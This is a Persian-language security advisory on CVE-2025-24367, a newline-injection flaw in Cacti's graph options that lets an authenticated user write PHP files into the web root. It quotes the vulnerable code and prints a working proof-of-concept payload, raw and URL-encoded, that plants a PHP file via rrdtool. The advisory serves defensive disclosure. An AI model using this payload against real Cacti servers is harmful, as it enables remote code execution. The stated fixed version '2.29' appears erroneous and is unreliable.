خانه » CVE-2025-24367

CVE-2025-24367

نرم افزار مدیریت گزارشات Cacti با ساخت فایل های دلخواه منجر به حمله RCE می شود

توسط Vulnerbyte Alerts

چکیده

CVE-2025-24367، یک آسیب پذیری با شدت بالا درنرم افزار مدیریت گزارش Cacti تا نسخه 1.2.28 است. این آسیب پذیری می تواند به حمله Improper Neutralization of Line Delimiters منجر شود. حمله می تواند از راه دور راه اندازی شود. توصیه می شود کامپوننت آسیب پذیر را به نسخه های بالاتر ارتقا دهید.

توضیحات

یک کاربر احراز هویت شده Cacti می تواند از قابلیت ایجاد گراف و قالب گراف برای ایجاد اسکریپت های PHP دلخواه در root وب برنامه استفاده کرده و کد های دلخواه را بر روی سرور اجرا کند.

Cacti از باینری rrdtool برای ایجادgraphs/images بر اساس پایگاه داده های راند رابین (RRD) استفاده می کند. تعدادی از سوییچ ها می توانند از طریق UI وب به عنوان باینری تنظیم شوند، خصوصا در قابلیت های قالب گراف و ساخت گراف.

Cacti تلاش می کند ورودی های کاربر مشکوک را از طریق رد کردن متاکاراکترهای شِل پاکسازی کند. برای مثال تابع  rrd_function_process_graph_options() در کتابخانه lib/rrd.php :

 

case ‘right_axis_label’:

if (!empty($value)) {

$graph_opts .= ‘–right-axis-label ‘ . cacti_escapeshellarg($value) . RRD_NL;

}

در فایل lib/functions.php :

/**

* mimics escapeshellarg, even for windows

*

* @param  $string          – the string to be escaped

* @param  $quote          – true: do NOT remove quotes from result; false: do remove quotes

*

* @return   string – the escaped [quoted|unquoted] string

*/

function cacti_escapeshellarg(string $string, bool $quote = true): string {

global $config;

if ($string == ”) {

return $string;

}

/* we must use an apostrophe to escape community names under Unix in case the user uses

characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when

you do this, but are perfectly happy with a quotation mark. */

if ($config[‘cacti_server_os’] == ‘unix’) {

$string = escapeshellarg($string);

if ($quote) {

return $string;

} else {

# remove first and last char

return substr($string, 1, (strlen($string) – 2));

}

}

با این حال کاراکترهای خط جدید از طریق منطق پاکسازی حذف نشده و ممکن است برای وقفه در دستور تزریق شده و دستورات مجزایی نظیر فراخوانی سایر قابلیت های مانند ساخت RRD ، بازیابی ، دورانداختن و غیره ، در باینری rrdtool استفاده شوند.

 

با تزریق چندین خط جدید احتمال فراخوانی قابلیت های مجزا در یک payload فراهم می شود. Payload شامل دو مجموعه دستور متمایز است. مجموعه دستور اول یک پایگاه داده RRD جدید ایجاد می کند که می تواند در دستور دوم استفاده شود(در غیر این صورت مهاجم می بایست یک مسیر موجود در یک فایلRRD در سیستم هدف را شناسایی کند). مجموعه دوم یک گراف CSV از داده های موجود در فایل RRD my.rrd تازه ایجاد شده، ساخته و آن را به نام xxx2.php با کد PHP که درون آن جاساز شده است، ذخیره می کند :

XXX

create my.rrd –step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200

graph xxx2.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>

payload انکد شده :

XXX%0Acreate+my.rrd+–step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+xxx2.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A

که منجر به کامندلاینی شبیه آنچه در زیر آمده است می شود:

/usr/bin/rrdtool graph – \

–imgformat=SVG \

–start=’1735903534′ \

–end=’1735903594′ \

–pango-markup  \

–title=’Local Linux Machine – Advanced Ping’ \

–vertical-label=’milliseconds’ \

–slope-mode \

–base=1000 \

–height=200 \

–width=700 \

–units-exponent=1 \

–right-axis-label ‘XXX

create my.rrd –step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200

graph xxx2.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=phpinfo();?>

‘ \

–tabwidth ’30’ \

–upper-limit=’10’ \

–lower-limit=’0′ \

–units-exponent=’1′ \

COMMENT:”From 2025-01-03 11\:25\:34 To 2025-01-03 11\:26\:34\c” \

COMMENT:”  \n” \

–color BACK#F3F3F3 \

–color CANVAS#FDFDFD \

–color SHADEA#CBCBCB \

–color SHADEB#999999 \

–color FONT#000000 \

–color AXIS#2C4D43 \

–color ARROW#2C4D43 \

–color FRAME#2C4D43 \

–border 1 \

–font TITLE:11:’Arial’ \

–font AXIS:8:’Arial’ \

–font LEGEND:8:’Courier’ \

–font UNIT:8:’Arial’ \

–font WATERMARK:6:’Arial’ \

–slope-mode \

–watermark ‘Generated by Cacti®’ \

سیستم امتیاز دهی آسیب پذیری ها بر اساس استاندارد های تحقیقاتی حوزه نمره دهی به آسیب پذیری ها، امتیازات زیر را برای شدت اثرگذاری این آسیب پذیری در نظر گرفته است.

CVSS

Score Severity Version Vector String
8.7 HIGH 4.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

 

لیست محصولات آسیب پذیر

در زمان انتشار این اعلامیه، این آسیب پذیری نسخه های زیر در معرض این آسیب پذیری قرار دارند:

  • Cacti <= 1.2.28

لیست محصولات بروز شده

این آسیب پذیری از نسخه زیر به بعد اصلاح شده است :

  • Cacti 2.29

نتیجه گیری

آسیب پذیری فوق در دسته آسیب پذیری های سطح بالا دسته بندی می شود. توصیه شده نسبت به بروزرسانی نسخه فعلی به نسخه های بالاتر اصلاح شده افزارهای خود اقدام کنید تا در معرض این آسیب پذیری قرار نگیرند.

منابع

  1. https://www.cve.org/CVERecord?id=CVE-2025-24367
  2. https://www.cvedetails.com/cve/CVE-2025-24367/
  3. https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq
  4. https://github.com/Cacti/cacti/commit/c7e4ee798d263a3209ae6e7ba182c7b65284d8f0
  5. https://vulmon.com/vulnerabilitydetails?qid=CVE-2025-24367&sortby=bydate
  6. https://vuldb.com/?id.293584
  7. https://cwe.mitre.org/data/definitions/144.html

همچنین ممکن است دوست داشته باشید

پیام بگذارید